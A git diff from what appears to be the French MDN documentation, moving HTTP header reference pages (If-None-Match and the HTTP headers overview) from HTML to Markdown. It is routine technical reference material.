{{Compat("http.headers.If-None-Match")}}

- -

Voir également

- - diff --git a/files/fr/web/http/headers/if-none-match/index.md b/files/fr/web/http/headers/if-none-match/index.md new file mode 100644 index 0000000000..1a1a0c505c --- /dev/null +++ b/files/fr/web/http/headers/if-none-match/index.md @@ -0,0 +1,94 @@ +--- +title: If-None-Match +slug: Web/HTTP/Headers/If-None-Match +tags: + - En-tête HTTP + - En-tête de requête + - HTTP + - Reference + - Requêtes Conditionnelles +translation_of: Web/HTTP/Headers/If-None-Match +--- +
 
+ +

L'en-tête de requête HTTP If-None-Match permet de conditionner la requête. Pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur renvoie la ressource demandée, avec un statut {{HTTPStatus("200")}}, seulement si elle n'a pas un {{HTTPHeader("ETag")}} correspondant à ceux fournis. Pour les autres méthodes, la requête ne sera traitée que si l'{{HTTPHeader("ETag")}} de l'éventuelle ressource existante ne correspond à aucune des valeurs listées.

+ +

Quand la condition échoue pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur doit retourner un code statut HTTP 304 (Not Modified). Pour les méthodes appliquant des changements côté serveur, le code statut 412 (Precondition Failed) est utilisé. Notez que le serveur générant une réponse 304 DOIT générer toutes les en-têtes qui auraient été envoyées avec une réponse 200 (OK) à la même requête : Cache-Control, Content-Location, Date, ETag, Expires, and Vary.

+ +

La comparaison avec l'{{HTTPHeader("ETag")}} stocké utilise l'algorithme de comparaison faible, c'est-à-dire que 2 fichiers sont considérés identiques pas seulement s'ils sont identiques octet à octet mais si leurs contenus sont équivalents. Par exemple, 2 pages dont seule la date de génération dans le pied de page diffère seraient considérées identiques.

+ +

Quand utilisé avec {{HTTPHeader("If-Modified-Since")}}, il a la priorité (si le serveur le supporte).

+ +

Il y a 2 cas d'utilisation communs:

+ + + + + + + + + + + + + + +
Type d'en-tête{{Glossary("En-tête de requête")}}
{{Glossary("Nom d'en-tête interdit")}}non
+ +

Syntax

+ +
If-None-Match: "<valeur_etag>"
+If-None-Match: "<valeur_etag>", "<valeur_etag>", …
+If-None-Match: *
+ +

Directives

+ +
+
<etag_value>
+
Des tags d'entité représentant de façon unique les ressources demandées. Ce sont des chaînes de caractères ASCII entre guillemets doubles (comme "675af34563dc-tr34") et peuvent être préfixés par W/ pour indiquer que l'algorithme de comparaison faible doit être utilisé (inutile avec If-None-Match car il n'utilise que cet algorithme).
+
*
+
L'astérisque est une valeur spéciale représentant toute ressource. Ils ne sont utilies que quand on téléverse une ressource, habituellement avec {{HTTPMethod("PUT")}}, pour vérifier si une autre ressource avec cette identité a déjà été téléversée avant.
+
+ +

Exemples

+ +
If-None-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d"
+
+If-None-Match: W/"67ab43", "54ed21", "7892dd"
+
+If-None-Match: *
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitle
{{RFC("7232", "If-None-Match", "3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Compatibilité navigateur

+ +

{{Compat("http.headers.If-None-Match")}}

+ +

Voir également

+ + diff --git a/files/fr/web/http/headers/index.html b/files/fr/web/http/headers/index.html deleted file mode 100644 index 3233fecdb2..0000000000 --- a/files/fr/web/http/headers/index.html +++ /dev/null @@ -1,449 +0,0 @@ ---- -title: En-têtes HTTP -slug: Web/HTTP/Headers -tags: - - En-têtes - - HTTP - - Headers - - Networking - - Overview - - Reference -translation_of: Web/HTTP/Headers ---- -
{{HTTPSidebar}}
- -

Les en-têtes HTTP permettent au client et au serveur de transmettre des informations supplémentaires avec la requête ou la réponse. Un en-tête de requête est constitué de son nom (insensible à la casse) suivi d'un deux-points :, puis de sa valeur (sans saut de ligne). L'espace blanc avant la valeur est ignoré.

- -

Des en-têtes propriétaires personnalisés peuvent être ajoutés en utilisant le préfixe X-, mais cette convention a été abandonnée en juin 2012, en raison des inconvénients qu'elle a présenté lorsque des champs non standard sont devenus standard dans RFC 6648; les autres en-têtes possibles sont listés dans une liste IANA et ont été définis dans la RFC 4229. IANA maintient également une liste des propositions de nouveaux entêtes HTTP.

- -

Les en-têtes peuvent être groupés selon leur contexte :

- - - -

Les en-têtes peuvent aussi être groupés par la manière dont les {{Glossary("Proxy_server", "serveurs mandataires (proxies)")}} les traitent :

- - - -
-
En-têtes de bout en bout ('End-to-end headers') :
-
Ces entêtes doivent être transmis au destinataire final du message ; c'est-à-dire le serveur dans le cas d'une requête ou le client dans le cas d'une réponse. Les serveurs mandataires intermédiaires doivent retransmettre les en-têtes de bout en bout sans modification et doivent les mettre en cache.
-
En-têtes de point à point ('Hop-by-hop headers') :
-
Ces en-têtes n'ont de sens que pour une unique connexion de la couche transport et ne doivent pas être retransmis par des serveurs mandataires ou mis en cache. Il s'agit d'en-têtes tels que: {{httpheader("Connection")}}, {{httpheader("Keep-Alive")}}, {{httpheader("Proxy-Authenticate")}}, {{httpheader("Proxy-Authorization")}}, {{httpheader("TE")}}, {{httpheader("Trailer")}}, {{ httpheader("Transfer-Encoding")}} et {{httpheader("Upgrade")}}. A noter que seuls les en-têtes de point à point peuvent être utilisés avec l'en-tête général {{httpheader("Connection")}}.
-
- -

La liste suivante résume les en-têtes HTTP en fonction de leur utilisation. Une liste triée par ordre alphabétique est disponible dans le panneau de navigation à gauche.

- -

Authentification

- -
-
{{HTTPHeader("WWW-Authenticate")}}
-
définit la méthode d'authentification qui doit être utilisée pour obtenir l'accès à la ressource.
-
{{HTTPHeader("Authorization")}}
-
contient les informations d'identification pour authentifier un agent utilisateur avec un serveur.
-
{{HTTPHeader("Proxy-Authenticate")}}
-
définit la méthode d'authentification qui doit être utilisée pour obtenir la ressource derrière un serveur mandataire.
-
{{HTTPHeader("Proxy-Authorization")}}
-
contient les informations d'identification nécessaires pour authentifier un agent utilisateur avec un serveur mandataire.
-
- -

Mise en cache

- -
-
{{HTTPHeader("Age")}}
-
la durée en secondes passée par l'objet dans un cache proxy.
-
{{HTTPHeader("Cache-Control")}}
-
spécifie des directives pour les mécanismes de mise en cache dans les requêtes et les réponses.
-
{{HTTPHeader("Clear-Site-Data")}}
-
nettoie les données de navigation (mouchards (cookies), stockage et cache) associé au site demandé.
-
{{HTTPHeader("Expires")}}
-
la date et l'heure après lesquelles la réponse est considérée comme périmée.
-
{{HTTPHeader("Pragma")}}
-
en-tête spécifique à la mise en œuvre pouvant avoir divers effets le long de la chaîne de requête-réponse. Utilisé pour la rétrocompatibilité avec les caches HTTP / 1.0 où l'en-tête Cache-Control n'est pas encore présent.
-
{{HTTPHeader("Warning")}}
-
un champ d'avertissement général contenant des informations sur les problèmes possibles.
-
- -

Astuces client

- -

Les {{Glossary("Client_hints", "astuces clients")}} HTTP sont enc cours de création. La documentation actuelle est disponible sur le site du groupe de travail sur HTTP.

- -
-
{{HTTPHeader("Accept-CH")}} {{experimental_inline}}
-
les serveurs peuvent informer de leur niveau de support pour les Client Hints en utilisant l'en-tête Accept-CH ou en HTML avec l'élément <meta> ayant l'attribut http-equiv ([HTML5]).
-
{{HTTPHeader("Accept-CH-Lifetime")}} {{experimental_inline}}
-
les serveurs peuvent demander au client de mémoriser l'ensemble des Client Hints que le serveur supporte pour une période de temps donnée, afin de permettre la livraison de Client Hints sur les requêtes suivantes vers l'origine du serveur ([RFC6454]).
-
{{HTTPHeader("Content-DPR")}} {{experimental_inline}}
-
un nombre indiquant le rapport entre le nombre de pixels physiques et le nombre de pixels CSS de l'image réponse sélectionnée.
-
{{HTTPHeader("DPR")}} {{experimental_inline}}
-
un nombre indiquant le Device Pixel Ratio (DPR) actuel du client, qui est le rapport du nombre de pixels physiques sur le nombre de pixels CSS (Section 5.2 of [CSSVAL]) de la zone d'affichage (Section 9.1.1 of [CSS2]) sur l'appareil.
-
{{HTTPHeader("Device-Memory")}} {{experimental_inline}}
-
faisant techniquement partie de l'API Device Memory, cet en-tête représente la quantité approximative de mémoire vive dont le client dispose.
-
{{HTTPHeader("Early-Data")}} {{experimental_inline}}
-
indique que les requêtes doivent être communiquées en TLS early data.
-
{{HTTPHeader("Save-Data")}} {{experimental_inline}}
-
booléen indiquant les préférences de l'agent utilisateur pour réduire la quantité de données transmises.
-
{{HTTPHeader("Viewport-Width")}} {{experimental_inline}}
-
la largeur de la zone d'affichage, soit le nombre de pixels CSS. La valeur fournise est arrondie au plus grand proche supérieur. Si Viewport-Width apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes.
-
{{HTTPHeader("Width")}} {{experimental_inline}}
-
l'en-tête de requête Width représente la largeur de la ressource voulue en nombre de pixels physiques. La valeur fournise est arrondie au plus proche entier supérieur. Si la largeur de la ressource voulue est inconnue quand la requête ou la ressource n'a pas de largeur d'affichage, l'en-tête Width peut être omise. Si Width apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes.
-
- -

Conditionnels

- -
-
{{HTTPHeader("Last-Modified")}}
-
c'est un validateur, la dernière date de modification de la ressource, utilisée pour comparer plusieurs versions de la même ressource. Il est moins précis que {{HTTPHeader("ETag")}}, mais plus facile à calculer dans certains environnements. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Modified-Since")}} et {{HTTPHeader("If-Unmodified-Since")}} utilisent cette valeur pour modifier le comportement de la requête.
-
{{HTTPHeader("ETag")}}
-
c'est un validateur, une chaîne unique identifiant la version de la ressource. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Match")}} et {{HTTPHeader("If-None-Match")}} utilisent cette valeur pour changer le comportement de la requête.
-
{{HTTPHeader("If-Match")}}
-
rend la requête conditionnelle et n'applique la méthode que si la ressource stockée correspond à l'un des ETags donnés.
-
{{HTTPHeader("If-None-Match")}}
-
rend la requête conditionnelle et n'applique la méthode que si la ressource stockée ne correspond à aucun des ETags donnés. Ceci est utilisé pour mettre à jour les caches (pour les requêtes sécurisées), ou pour empêcher de télécharger une nouvelle ressource lorsqu'elle existe déjà.
-
{{HTTPHeader("If-Modified-Since")}}
-
rend la requête conditionnelle et attend que l'entité soit transmise seulement si elle a été modifiée après la date donnée. Ceci est utilisé pour transmettre des données uniquement lorsque le cache est obsolète.
-
{{HTTPHeader("If-Unmodified-Since")}}
-
rend la demande conditionnelle et attend que l'entité soit transmise seulement si elle n'a pas été modifiée après la date donnée. Ceci est utilisé pour assurer la cohérence d'un nouveau fragment d'une plage spécifique avec les précédentes, ou pour implémenter un système de contrôle de concurrence optimiste lors de la modification de documents existants.
-
{{HTTPHeader("Vary")}}
-
détermine comment faire correspondre les futurs en-têtes de demande pour décider si une réponse mise en cache peut être utilisée plutôt que d'en demander une nouvelle au serveur d'origine.
-
- -

Gestion de connexion

- -
-
{{HTTPHeader("Connection")}}
-
contrôle si la connexion réseau reste ouverte après la fin de la transaction en cours.
-
{{HTTPHeader("Keep-Alive")}}
-
contrôle la durée pendant laquelle une connexion persistante doit rester ouverte.
-
- -

Négociation de contenu

- -
-
{{HTTPHeader("Accept")}}
-
informe le serveur des types de données pouvant être renvoyés. C'est un type MIME.
-
{{HTTPHeader("Accept-Charset")}}
-
informe le serveur du jeu de caractères que le client peut comprendre.
-
{{HTTPHeader("Accept-Encoding")}}
-
informe le serveur sur l'algorithme de codage, généralement un algorithme de compression, qui peut être utilisé sur la ressource renvoyée.
-
{{HTTPHeader("Accept-Language")}}
-
informe le serveur de la langue que le serveur doit renvoyer. Ceci est un indice et n'est pas nécessairement sous le contrôle total de l'utilisateur : le serveur doit toujours faire attention à ne pas remplacer un choix explicite de l'utilisateur (telle la sélection d'une langue dans une liste déroulante).
-
- -

Contrôles

- -
-
{{HTTPHeader("Expect")}}
-
indique ce qui est attendu de la part du serveur afin de pouvoier gérer correctement la requête.
-
{{HTTPHeader("Max-Forwards")}}
-
...
-
- -

Cookies

- -
-
{{HTTPHeader("Cookie")}}
-
contient les cookies HTTP stockés précédemment envoyés par le serveur à l'aide de l'en-tête {{HTTPHeader("Set-Cookie")}}.
-
{{HTTPHeader("Set-Cookie")}}
-
envoie des cookies du serveur à l'agent utilisateur.
-
{{HTTPHeader("Cookie2")}} {{obsolete_inline}}
-
utilisé pour contenir un cookie HTTP, précédemment envoyé par le serveur avec l'en-tête {{HTTPHeader("Set-Cookie2")}}, mais qui a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Cookie")}} à la place.
-
{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}
-
utilisé pour envoyer des cookies du serveur à l'agent utilisateur, mais a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Set-Cookie")}} à la place.
-
- -

Cross-Origin Resource Sharing (CORS)

- -
-
{{HTTPHeader("Access-Control-Allow-Origin")}}
-
indique si la réponse peut être partagée.
-
{{HTTPHeader("Access-Control-Allow-Credentials")}}
-
indique si la réponse à la demande peut être exposée lorsque l'indicateur d'informations d'identification est vrai.
-
{{HTTPHeader("Access-Control-Allow-Headers")}}
-
utilisé en réponse à une demande de contrôle en amont pour indiquer quels en-têtes HTTP peuvent être utilisés lors de la requête effective.
-
{{HTTPHeader("Access-Control-Allow-Methods")}}
-
spécifie la ou les méthodes autorisées lors de l'accès à la ressource en réponse à une demande de contrôle en amont.
-
{{HTTPHeader("Access-Control-Expose-Headers")}}
-
indique en-têtes pouvant être exposés dans le cadre de la réponse en listant leurs noms.
-
{{HTTPHeader("Access-Control-Max-Age")}}
-
indique la durée pendant laquelle les résultats d'une demande de contrôle en amont peuvent être mis en cache.
-
{{HTTPHeader("Access-Control-Request-Headers")}}
-
utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur les en-têtes HTTP qui seront utilisés lors de la requête effective.
-
{{HTTPHeader("Access-Control-Request-Method")}}
-
Utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur la méthode HTTP à utiliser lors de la requête.
-
{{HTTPHeader("Origin")}}
-
indique l'origine d'une consultation.
-
{{HTTPHeader("Timing-Allow-Origin")}}
-
spécifie les origines autorisées à voir les valeurs des attributs récupérés via les fonctionnalités de l'API Resource Timing, qui seraient autrement signalées comme étant zéro en raison des restrictions d'origines croisées.
-
- -

Ne pas suivre

- -
-
{{HTTPHeader("DNT")}}
-
utilisé pour exprimer la préférence de suivi de l'utilisateur.
-
{{HTTPHeader("Tk")}}
-
indique l'état de suivi appliqué à la demande correspondante.
-
- -

Téléchargements

- -
-
{{HTTPHeader("Content-Disposition")}}
-
est un en-tête de réponse si la ressource transmise doit être affichée en ligne (comportement par défaut lorsque l'en-tête n'est pas présent), ou doit être traitée comme un téléchargement et le navigateur doit présenter une fenêtre "Enregistrer sous".
-
- -

Informations sur le corps du message

- -
-
{{HTTPHeader("Content-Length")}}
-
indique la taille du corps d'entité, en nombre décimal d'octets, envoyée au destinataire.
-
{{HTTPHeader("Content-Type")}}
-
indique le type de média de la ressource.
-
{{HTTPHeader("Content-Encoding")}}
-
utilisé pour spécifier l'algorithme de compression.
-
{{HTTPHeader("Content-Language")}}
-
décrit la (les) langue(s) destinée(s) à l'audience, de sorte qu'elle permette à l'utilisateur de se différencier en fonction de la langue préférée de l'utilisateur.
-
{{HTTPHeader("Content-Location")}}
-
indique un emplacement pour les données renvoyées.
-
- -

Proxies

- -
-
{{HTTPHeader("Forwarded")}}
-
contient des informations du côté client des serveurs proxy qui sont modifiées ou perdues lorsqu'un proxy est impliqué dans le chemin de la requête.
-
{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}
-
identifie les adresses IP d'origine d'un client se connectant à un serveur Web via un proxy HTTP ou un répartiteur de charge.
-
{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}
-
identifie l'hôte d'origine demandé à un client pour se connecter à votre proxy ou à votre équilibreur de charge.
-
{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}
-
identifie le protocole (HTTP ou HTTPS) utilisé par un client pour se connecter à votre proxy ou votre équilibreur de charge.
-
{{HTTPHeader("Via")}}
-
ajoutés par des proxies, directs et inverses, et peuvent apparaître dans les en-têtes de requête et les en-têtes de réponse.
-
- -

Redirection

- -
-
{{HTTPHeader("Location")}}
-
indique l'URL de la page de redirection.
-
- -

Contexte de requête

- -
-
{{HTTPHeader("From")}}
-
contient une adresse électronique Internet pour un utilisateur humain qui contrôle l'agent utilisateur demandeur.
-
{{HTTPHeader("Host")}}
-
indique le nom de domaine du serveur (pour l'hébergement virtuel) et (facultativement) le numéro de port TCP sur lequel le serveur écoute.
-
{{HTTPHeader("Referer")}}
-
L'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.
-
{{HTTPHeader("Referrer-Policy")}}
-
indique quelles informations de provenance envoyées dans l'en-tête {{HTTPHeader("Referer")}} doivent être incluses dans les requêtes effectuées.
-
{{HTTPHeader("User-Agent")}}
-
contient une chaîne caractéristique qui permet aux homologues du protocole réseau d'identifier le type d'application, le système d'exploitation, le fournisseur du logiciel ou la version du logiciel de l'agent utilisateur du logiciel demandeur. Voir aussi la référence de chaîne de l'agent utilisateur Firefox.
-
- -

Contexte de réponse

- -
-
{{HTTPHeader("Allow")}}
-
répertorie l'ensemble des méthodes de requête HTTP prises en charge par une ressource.
-
{{HTTPHeader("Server")}}
-
contient des informations sur le logiciel utilisé par le serveur d'origine pour gérer la demande.
-
- -

Demandes de plage

- -
-
{{HTTPHeader("Accept-Ranges")}}
-
indique si le serveur prend en charge les demandes de plage et, le cas échéant, dans quelle unité la plage peut être exprimée.
-
{{HTTPHeader("Range")}}
-
indique la partie d'un document que le serveur doit renvoyer.
-
{{HTTPHeader("If-Range")}}
-
crée une requête de plage conditionnelle qui n'est remplie que si l'étiquette et la date correspondent à la ressource distante. Utilisé pour empêcher le téléchargement de deux plages à partir d'une version incompatible de la ressource.
-
{{HTTPHeader("Content-Range")}}
-
situe une partie de message à l'intérieur du corps d'un message entier.
-
- -

Sécurité

- -
-
{{HTTPHeader("Cross-Origin-Embedder-Policy")}} ({{Glossary("COEP")}})
-
autorise un serveur à déclarer une règlementation sur les contenus embarqués pour un document donné.
-
- -
-
{{HTTPHeader("Cross-Origin-Opener-Policy")}} ({{Glossary("COOP")}})
-
interdit les autres domaines d'ouvrir ou de contrôler une fenêtre.
-
- -
-
{{HTTPHeader("Cross-Origin-Resource-Policy")}} ({{Glossary("CORP")}})
-
interdit les autre domaines de lire la réponse des ressources si cet en-tête leur est appliqué.
-
- -
-
{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})
-
contrôle les ressources que l'agent utilisateur est autorisé à charger pour une page donnée.
-
{{HTTPHeader("Content-Security-Policy-Report-Only")}}
-
permet aux développeurs web d'expérimenter des stratégies en surveillant (mais non en appliquant) leurs effets. Ces rapports de violation sont constitués de documents {{Glossary("JSON")}} envoyés via une requête HTTP POST à l'URI spécifié.
-
{{HTTPHeader("Expect-CT")}}
-
permet aux sites de contrôler de manière stricte ou non l'adhérence aux règles de transparence des certificats, permettant ainsi de limiter les utilisations frauduleuses du certificat associé au site grâce à une vérification publique.
-
{{HTTPHeader("Feature-Policy")}}
-
permet d'autoriser ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans les cadres embarqués.
-
{{HTTPHeader("Origin-Isolation")}} {{experimental_inline}}
-
permet aux application web d'isoler leurs origines.
-
{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})
-
force la communication en utilisant HTTPS au lieu de HTTP.
-
{{HTTPHeader("Upgrade-Insecure-Requests")}}
-
envoie un signal au serveur exprimant la préférence du client pour une réponse chiffrée et authentifiée, et qu'il peut gérer avec succès la directive {{CSP("upgrade-insecure-requests")}}.
-
{{HTTPHeader("X-Content-Type-Options")}}
-
désactive le repérage MIME et force le navigateur à utiliser le type donné dans {{HTTPHeader("Content-Type")}}.
-
{{HTTPHeader("X-Download-Options")}}
-
indique que le navigateur (Internet Explorer uniquement) ne doit pas affiche l'option permettant d'ouvrir un fichier qui a été téléchargé depuis une application, pour empêcher les attaques par hameçonnage puisque le fichier pourrait autrement obtenir le droit de s'exécuter dans le contexte de l'application. Note : voir le bogue MS Edge associé.
-
{{HTTPHeader("X-Frame-Options")}} (XFO)
-
indique si un navigateur doit être autorisé à afficher une page dans un {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} ou {{HTMLElement("object")}}.
-
{{HTTPHeader("X-Permitted-Cross-Domain-Policies")}}
-
Sépcifie si un fichier de règlementation interdomaines (crossdomain.xml) est autorisé. Ce fichier peut définir une règle pour accorder aux clients (comme Adobe Flash Player, Adobe Acrobat, Microsoft Silverlight ou Apache Flex) la permission de gérer des données entre domaines qui seraient autrement restreintes à cause de Same-Origin Policy. Voir la spécification Cross-domain Policy File pour plus d'informations.
-
{{HTTPHeader("X-Powered-By")}}
-
peut être défini par l'environnement hôte ou par d'autres cadriciels, il contient des informations sur eux sans fournir aucun information utile à l'application ni aux visiteurs. Désactivez cet en-tête pour éviter d'exposer des informations et des vulnérabilités potentielles.
-
{{HTTPHeader("X-XSS-Protection")}}
-
active le filtrage de script intersite.
-
- -

HTTP Public Key Pinning {{Glossary("HPKP")}}

- -

HTTP Public Key Pinning a été déprécié et supprimé au profit de Certificate Transparency et {{HTTPHeader("Expect-CT")}}.

- -
-
{{HTTPHeader("Public-Key-Pins")}}
-
associe une clé publique cryptographique spécifique à un certain serveur web pour réduire le risque d'attaques {{Glossary("MitM")}} à l'aide de certificats falsifiés.
-
{{HTTPHeader("Public-Key-Pins-Report-Only")}}
-
envoie des rapports au report-uri spécifié dans l'en-tête et permet toujours aux clients de se connecter au serveur même si l'association à la clé cryptographique est violée.
-
- -

En-têtes de requêtes de métadonnées

- -
-
{{HTTPHeader("Sec-Fetch-Site")}}
-
en-tête de requête indiquant la relation entre l'origine ayant initiée la requête et l'origine cible ; c'est un en-tête srtucutré dont la valeur peut être cross-site, same-origin, same-site ou none.
-
{{HTTPHeader("Sec-Fetch-Mode")}}
-
en-tête de requête indiquant le mode de requête à un serveur ; c'est un en-tête structuré dont la valeur peut être cors, navigate, nested-navigate, no-cors, same-origin ou websocket.
-
{{HTTPHeader("Sec-Fetch-User")}}
-
en-tête de requête indiquant si une requête de navigation a été déclenchée ou non par une action de l'utilisateur ; c'est un en-tête structuré dont la valeur est un booléen, soit ?0 ou pour faux et ?1 pour vrai.
-
{{HTTPHeader("Sec-Fetch-Dest")}}
-
en-tête de requête indiquant la destination de la requête à un serveur ; c'est un en-tête structuré dont la valeur peut être audio, audioworklet, document, embed, empty, font, image, manifest, object, paintworklet, report, script, serviceworker, sharedworker, style, track, video, worker, xslt ou nested-document.
-
- -

Évènements envoyés par le serveur

- -
-
{{HTTPHeader("Last-Event-ID")}}
-
...
-
{{HTTPHeader("NEL")}} {{experimental_inline}}
-
permet aux développeurs de déclarer une règlementation de rapportage d'erreur réseau.
-
{{HTTPHeader("Ping-From")}}
-
...
-
{{HTTPHeader("Ping-To")}}
-
...
-
{{HTTPHeader("Report-To")}}
-
utilisé pour spécifier un serveur de destination pour que le navigateur puisse y envoyer des rapports d'avertissements ou d'erreurs.
-
- -

Codage de transfert

- -
-
{{HTTPHeader("Transfer-Encoding")}}
-
spécifie la forme de codage utilisée pour transférer en toute sécurité l'entité à l'utilisateur.
-
{{HTTPHeader("TE")}}
-
spécifie les encodages de transfert que l'agent utilisateur est prêt à accepter.
-
{{HTTPHeader("Trailer")}}
-
permet à l'expéditeur d'inclure des champs supplémentaires à la fin du message segmenté.
-
- -

WebSockets

- -
-
{{HTTPHeader("Sec-WebSocket-Key")}}
-
...
-
{{HTTPHeader("Sec-WebSocket-Extensions")}}
-
...
-
{{HTTPHeader("Sec-WebSocket-Accept")}}
-
...
-
{{HTTPHeader("Sec-WebSocket-Protocol")}}
-
...
-
{{HTTPHeader("Sec-WebSocket-Version")}}
-
...
-
- -

Autres

- -
-
{{HTTPHeader("Accept-Push-Policy")}} {{experimental_inline}}
-
...
-
{{HTTPHeader("Accept-Signature")}} {{experimental_inline}}
-
...
-
{{HTTPHeader("Alt-Svc")}}
-
...
-
{{HTTPHeader("Date")}}
-
contient la date et l'heure à laquelle le message a été généré.
-
{{HTTPHeader("Large-Allocation")}}
-
indique au navigateur que la page en cours de chargement souhaite effectuer une allocation importante.
-
{{HTTPHeader("Link")}}
-
...
-
{{HTTPHeader("Push-Policy")}} {{experimental_inline}}
-
...
-
{{HTTPHeader("Retry-After")}}
-
indique combien de temps l'agent utilisateur doit attendre avant de faire une autre demande consécutive.
-
{{HTTPHeader("Signature")}} {{experimental_inline}}
-
communique une liste de signatures pour un échange, chacune accompagnée d'informations sur la manière de déterminer son autorité et de rafraichir cette signature.
-
{{HTTPHeader("Signed-Headers")}} {{experimental_inline}}
-
identifie une liste ordonnée de champs d'en-tête de réponse à inclure dans une signature.
-
{{HTTPHeader("Server-Timing")}}
-
communique un ou plusieurs indicateurs et descriptions pour le cycle requête-réponse donné.
-
{{HTTPHeader("Service-Worker-Allowed")}}
-
utilisé pour supprimer la restriction de chemin en incluant cet en-tête dans la réponse d'un script Service Worker.
-
{{HTTPHeader("SourceMap")}}
-
liens ayant généré du code sur une source.
-
{{HTTPHeader("Upgrade")}}
-
le document RFC associé pour le champ d'en-tête Upgrade est RFC 7230, section 6.7. Le standard établit des règles pour la mise à niveau ou la modification d'un protocole différent sur le client, le serveur et la connexion au protocole de transport actuels. Par exemple, cette norme d'en-tête permet à un client de passer de HTTP 1.1 à HTTP 2.0, en supposant que le serveur décide de reconnaître et d'implémenter le champ d'en-tête Upgrade. Une requête de ce type ne peut etre contraignante et le serveur peut répondre en utilisant le protocole initial. Il peut être utilisé dans les en-têtes client et serveur. Si le champ d'en-tête Upgrade est spécifié, l'expéditeur DOIT également envoyer le champ d'en-tête Connection avec l'option de mise à niveau spécifiée. Pour plus de détails sur le champ d'en-tête Connection, veuillez vous reporter à la section 6.1 du RFC susmentionné.
-
{{HTTPHeader("X-DNS-Prefetch-Control")}}
-
contrôle le préchargement DNS, fonctionnalité par laquelle les navigateurs effectuent de manière proactive la résolution du nom de domaine sur les deux liens que l'utilisateur peut choisir de suivre ainsi que les URL des éléments référencés par le document, y compris les images, CSS, JavaScript, etc.
-
{{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}}
-
...
-
{{HTTPHeader("X-Pingback")}} {{non-standard_inline}}
-
...
-
{{HTTPHeader("X-Requested-With")}}
-
...
-
{{HTTPHeader("X-Robots-Tag")}} {{non-standard_inline}}
-
indique comment une page doit être indexée dans les résultats publics des moteurs de recherche ; cet en-tête est équivalent à <meta name="robots" content="...">
-
{{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}}
-
Utilisé par Internet Explorer pour signaler quel mode de document utiliser.
-
- -

Contribuer

- -

Vous pouvez contribuer en ajoutant un nouvel en-tête à la liste ou en améliorant la documentation existante.

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/index.md b/files/fr/web/http/headers/index.md new file mode 100644 index 0000000000..3233fecdb2 --- /dev/null +++ b/files/fr/web/http/headers/index.md @@ -0,0 +1,449 @@ +--- +title: En-têtes HTTP +slug: Web/HTTP/Headers +tags: + - En-têtes + - HTTP + - Headers + - Networking + - Overview + - Reference +translation_of: Web/HTTP/Headers +--- +
{{HTTPSidebar}}
+ +

Les en-têtes HTTP permettent au client et au serveur de transmettre des informations supplémentaires avec la requête ou la réponse. Un en-tête de requête est constitué de son nom (insensible à la casse) suivi d'un deux-points :, puis de sa valeur (sans saut de ligne). L'espace blanc avant la valeur est ignoré.

+ +

Des en-têtes propriétaires personnalisés peuvent être ajoutés en utilisant le préfixe X-, mais cette convention a été abandonnée en juin 2012, en raison des inconvénients qu'elle a présenté lorsque des champs non standard sont devenus standard dans RFC 6648; les autres en-têtes possibles sont listés dans une liste IANA et ont été définis dans la RFC 4229. IANA maintient également une liste des propositions de nouveaux entêtes HTTP.

+ +

Les en-têtes peuvent être groupés selon leur contexte :

+ + + +

Les en-têtes peuvent aussi être groupés par la manière dont les {{Glossary("Proxy_server", "serveurs mandataires (proxies)")}} les traitent :

+ + + +
+
En-têtes de bout en bout ('End-to-end headers') :
+
Ces entêtes doivent être transmis au destinataire final du message ; c'est-à-dire le serveur dans le cas d'une requête ou le client dans le cas d'une réponse. Les serveurs mandataires intermédiaires doivent retransmettre les en-têtes de bout en bout sans modification et doivent les mettre en cache.
+
En-têtes de point à point ('Hop-by-hop headers') :
+
Ces en-têtes n'ont de sens que pour une unique connexion de la couche transport et ne doivent pas être retransmis par des serveurs mandataires ou mis en cache. Il s'agit d'en-têtes tels que: {{httpheader("Connection")}}, {{httpheader("Keep-Alive")}}, {{httpheader("Proxy-Authenticate")}}, {{httpheader("Proxy-Authorization")}}, {{httpheader("TE")}}, {{httpheader("Trailer")}}, {{ httpheader("Transfer-Encoding")}} et {{httpheader("Upgrade")}}. A noter que seuls les en-têtes de point à point peuvent être utilisés avec l'en-tête général {{httpheader("Connection")}}.
+
+ +

La liste suivante résume les en-têtes HTTP en fonction de leur utilisation. Une liste triée par ordre alphabétique est disponible dans le panneau de navigation à gauche.

+ +

Authentification

+ +
+
{{HTTPHeader("WWW-Authenticate")}}
+
définit la méthode d'authentification qui doit être utilisée pour obtenir l'accès à la ressource.
+
{{HTTPHeader("Authorization")}}
+
contient les informations d'identification pour authentifier un agent utilisateur avec un serveur.
+
{{HTTPHeader("Proxy-Authenticate")}}
+
définit la méthode d'authentification qui doit être utilisée pour obtenir la ressource derrière un serveur mandataire.
+
{{HTTPHeader("Proxy-Authorization")}}
+
contient les informations d'identification nécessaires pour authentifier un agent utilisateur avec un serveur mandataire.
+
+ +

Mise en cache

+ +
+
{{HTTPHeader("Age")}}
+
la durée en secondes passée par l'objet dans un cache proxy.
+
{{HTTPHeader("Cache-Control")}}
+
